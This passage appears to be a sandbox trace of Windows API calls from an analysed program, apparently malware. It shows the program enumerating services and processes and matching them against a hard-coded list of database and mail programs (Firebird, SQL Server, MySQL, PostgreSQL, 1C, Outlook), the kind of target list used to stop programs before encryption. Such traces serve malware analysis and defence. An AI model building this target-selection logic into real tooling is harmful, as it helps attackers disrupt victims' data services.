lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0134.634] GetLastError () returned 0xea [0134.634] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc9a) returned 0x428bbd0 [0134.635] EnumServicesStatusExW (in: hSCManager=0x428b438, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xc9a, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0134.635] CloseServiceHandle (hSCObject=0x428b438) returned 1 [0134.635] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0134.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.635] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0134.635] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0134.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0134.635] lstrlenW (lpString="AudioSrv") returned 8 [0134.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0134.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0134.635] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0134.635] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0134.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0134.635] lstrlenW (lpString="BFE") returned 3 [0134.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0134.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0134.636] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0134.636] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0134.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0134.636] lstrlenW (lpString="CryptSvc") returned 8 [0134.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0134.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0134.636] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0134.636] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0134.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0134.636] lstrlenW (lpString="CscService") returned 10 [0134.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0134.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0134.636] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0134.636] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0134.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0134.636] lstrlenW (lpString="DcomLaunch") returned 10 [0134.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.636] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0134.636] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0134.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0134.636] lstrlenW (lpString="Dhcp") returned 4 [0134.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0134.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0134.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0134.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0134.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0134.636] lstrlenW (lpString="Dnscache") returned 8 [0134.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0134.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0134.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0134.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0134.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0134.637] lstrlenW (lpString="DPS") returned 3 [0134.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0134.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0134.637] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0134.637] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0134.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0134.637] lstrlenW (lpString="eventlog") returned 8 [0134.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0134.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0134.637] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0134.637] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0134.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0134.637] lstrlenW (lpString="EventSystem") returned 11 [0134.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0134.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0134.637] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0134.637] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0134.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0134.637] lstrlenW (lpString="gpsvc") returned 5 [0134.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0134.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0134.637] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0134.637] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0134.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0134.637] lstrlenW (lpString="LanmanWorkstation") returned 17 [0134.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0134.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0134.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0134.637] lstrlenW (lpString="lmhosts") returned 7 [0134.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0134.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0134.638] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0134.638] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0134.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0134.638] lstrlenW (lpString="MMCSS") returned 5 [0134.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0134.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0134.638] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0134.638] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0134.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0134.638] lstrlenW (lpString="MpsSvc") returned 6 [0134.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0134.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0134.638] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0134.638] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0134.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0134.638] lstrlenW (lpString="NlaSvc") returned 6 [0134.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0134.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0134.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0134.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0134.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0134.638] lstrlenW (lpString="nsi") returned 3 [0134.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0134.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0134.638] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0134.638] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0134.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0134.638] lstrlenW (lpString="PcaSvc") returned 6 [0134.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0134.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0134.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0134.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0134.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0134.638] lstrlenW (lpString="PlugPlay") returned 8 [0134.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0134.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0134.639] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0134.639] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0134.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0134.639] lstrlenW (lpString="Power") returned 5 [0134.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0134.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0134.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0134.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0134.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0134.639] lstrlenW (lpString="ProfSvc") returned 7 [0134.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0134.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0134.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0134.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0134.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0134.639] lstrlenW (lpString="RpcEptMapper") returned 12 [0134.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0134.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0134.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0134.639] lstrlenW (lpString="RpcSs") returned 5 [0134.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0134.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0134.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0134.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0134.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0134.639] lstrlenW (lpString="SamSs") returned 5 [0134.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0134.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0134.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0134.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0134.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0134.640] lstrlenW (lpString="Schedule") returned 8 [0134.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0134.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0134.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0134.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0134.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0134.640] lstrlenW (lpString="SENS") returned 4 [0134.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0134.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0134.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0134.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0134.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0134.640] lstrlenW (lpString="ShellHWDetection") returned 16 [0134.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.640] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0134.640] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0134.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0134.640] lstrlenW (lpString="Spooler") returned 7 [0134.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0134.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0134.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0134.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0134.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0134.640] lstrlenW (lpString="Themes") returned 6 [0134.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0134.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0134.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0134.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0134.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0134.640] lstrlenW (lpString="UxSms") returned 5 [0134.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0134.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0134.640] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0134.641] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0134.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0134.641] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0134.641] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0134.643] Process32FirstW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.643] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0134.644] lstrlenW (lpString="System") returned 6 [0134.644] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0134.644] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0134.644] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0134.644] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0134.644] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0134.644] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0134.644] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0134.644] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0134.644] lstrlenW (lpString="smss.exe") returned 8 [0134.644] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0134.644] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0134.644] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0134.644] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0134.644] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0134.644] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0134.644] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0134.645] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.645] lstrlenW (lpString="csrss.exe") returned 9 [0134.645] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0134.645] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0134.645] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0134.645] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0134.645] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0134.645] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0134.645] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0134.645] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0134.645] lstrlenW (lpString="wininit.exe") returned 11 [0134.645] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0134.645] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0134.645] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0134.645] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0134.645] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0134.646] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0134.646] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0134.646] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.646] lstrlenW (lpString="csrss.exe") returned 9 [0134.646] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0134.646] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0134.646] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0134.646] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0134.646] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0134.646] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0134.646] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0134.646] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0134.646] lstrlenW (lpString="winlogon.exe") returned 12 [0134.647] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0134.647] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0134.647] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0134.647] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0134.647] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0134.647] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0134.647] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0134.647] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0134.647] lstrlenW (lpString="services.exe") returned 12 [0134.647] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0134.647] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0134.647] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0134.647] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0134.647] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0134.647] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0134.647] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0134.647] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0134.648] lstrlenW (lpString="lsass.exe") returned 9 [0134.648] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0134.648] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0134.648] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0134.648] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0134.648] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0134.648] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0134.648] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0134.648] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0134.648] lstrlenW (lpString="lsm.exe") returned 7 [0134.648] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0134.648] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0134.648] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0134.648] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0134.648] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0134.648] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0134.648] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0134.648] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.649] lstrlenW (lpString="svchost.exe") returned 11 [0134.649] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0134.649] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.649] lstrlenW (lpString="svchost.exe") returned 11 [0134.649] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0134.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0134.649] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.650] lstrlenW (lpString="svchost.exe") returned 11 [0134.650] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0134.650] lstrcmpiW (lpString1="mysqld.exe", 